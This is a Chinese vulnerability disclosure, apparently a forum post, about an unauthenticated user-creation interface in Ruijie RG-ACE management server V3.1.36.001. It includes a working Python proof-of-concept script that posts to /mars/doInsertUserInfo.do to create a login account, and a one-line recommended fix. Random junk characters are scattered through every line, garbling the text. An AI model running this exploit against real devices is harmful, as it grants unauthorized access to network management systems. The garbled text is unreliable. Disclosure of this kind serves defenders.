锐捷应用控制引擎管理服务器(RG-ACE系列应用控制引擎管理服务器V3.1.36.001,官网的连接 http://www.ruijie.com.cn/service/down-search.aspx 显示是最新版)可以根据没有权限验证的接口直接增加用户,连接设备,查看设备信息和报表(权限相对于默认的admin比较低)1 H, Y) ~, F% v9 a: I/ @* a7 a
. R, {) h X9 K- d6 @" Z' ~, ]2 Z
) Y b) C) a( b/ d+ J( }
测试的具体版本是& G& {1 g1 l1 `" Q3 c
产品名称: 锐捷应用控制引擎+ V/ l( w2 H7 n6 A, W
版本号: 3.1.36.001 TC
( N i8 X4 t2 s8 q编译时间: 2011042917302 T0 | s$ ?1 G& {: g1 D
; M7 M( l/ {* k' P
/ x% T3 B0 Y* s' g
漏洞证明:8 {, j4 O% O' X! c) |# q
. A' o7 g4 F- F% W4 ]
4 l) B. I5 z! T5 {
2 x& r- x' j) }- C: f
/ M" z3 \# y0 X$ w+ @, {
5 y5 c+ e6 ^4 R" R! v2 n2 h0 X1 e! S
执行脚本1 _% X7 B: V) b# y0 U
#! /usr/bin/env python
% v! N, P* T6 m, `% i/ ^#coding=gbk
" H6 G5 d p+ s- t#RG-ACE管理服务器 V3.1.36.001& O: W& R- n% J. o
import urllib2, urllib,cookielib
) j. W4 S$ w9 B& ourl=r'http://IP/mars/doInsertUserInfo.do' #IP改为装这个软件的IP
! |* z6 z. ^# J2 U/ M$ i, @opener=urllib2.build_opener(urllib2.HTTPCookieProcessor(cookielib.CookieJar()))1 {1 t1 ?8 @) V G( K! }
opener.addheaders = [('User-agent','Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)')]
, {- t) A6 B: a+ h4 ypost=(("event","userManager.doInsertUserInfo"),5 _! q1 l8 m% Y6 ~4 U
("useractionname","addButtonValue"), I% W5 p5 b/ O
("useropermanager","userManager"),6 S# Z" m8 M4 h( u
("userName","t"), #######账号自己加
r5 d; ^) w! c("pwd","aaaaaa"),######密码自己加( U( b& K! @% o" ]- B
("trueName","ad"),5 l) l: _5 M% l% @. w' c
("email",""),; ?. F0 T. f1 a/ D6 J" Z& `4 J
("mobilePhone",""),$ d" O( s1 v9 ]. H. n
("officePhone",""),
5 k8 B. F( V' [5 s& [4 K" k("addr",""),
0 _% u, F% z" ?- B) F( k("submit","确定"))6 n& b$ k* m( \+ ^( s7 Y
urllib2.install_opener(opener)( m1 [9 f; s$ n7 K6 q( c6 Z' i" g
p=urllib2.urlopen(url, urllib.urlencode(post)).read(); m3 K9 n& ?& v, c6 `2 I
print "Done"& m _1 j7 H- ]& }" ?3 x: q
, ?4 B }1 d: f3 c, ^+ ]" I登录,连接设备5 ?% |# [. Z- v; K& a& ]' b. E3 @
3 t2 i7 J' p% b7 h1 t2 w M
( K# N& a. Z% `0 y
- w, R5 V/ M) |' y& ~. S) A1 }
/ b2 U' s* g V' Q% T6 T* w) a9 B# `2 {
默认的管理员admin权限更大点+ \, ]: V3 N) d% J, M- M5 P
( Y- L, I- Y- L( J# C
" p# F w4 L8 j7 u6 h5 w
6 u% V3 a8 j% D( p
o* K/ v7 C0 {! D$ {% D w& i3 u( i% a3 o. q' [$ ^- g
修复方案:
& ]' l" L# U5 N# i) P0 R; N5 F/ ?加强对接口的权限验证
1 J8 n2 S/ a9 p; Y6 Q, v/ D
0 Z7 A3 ]: |2 B+ N |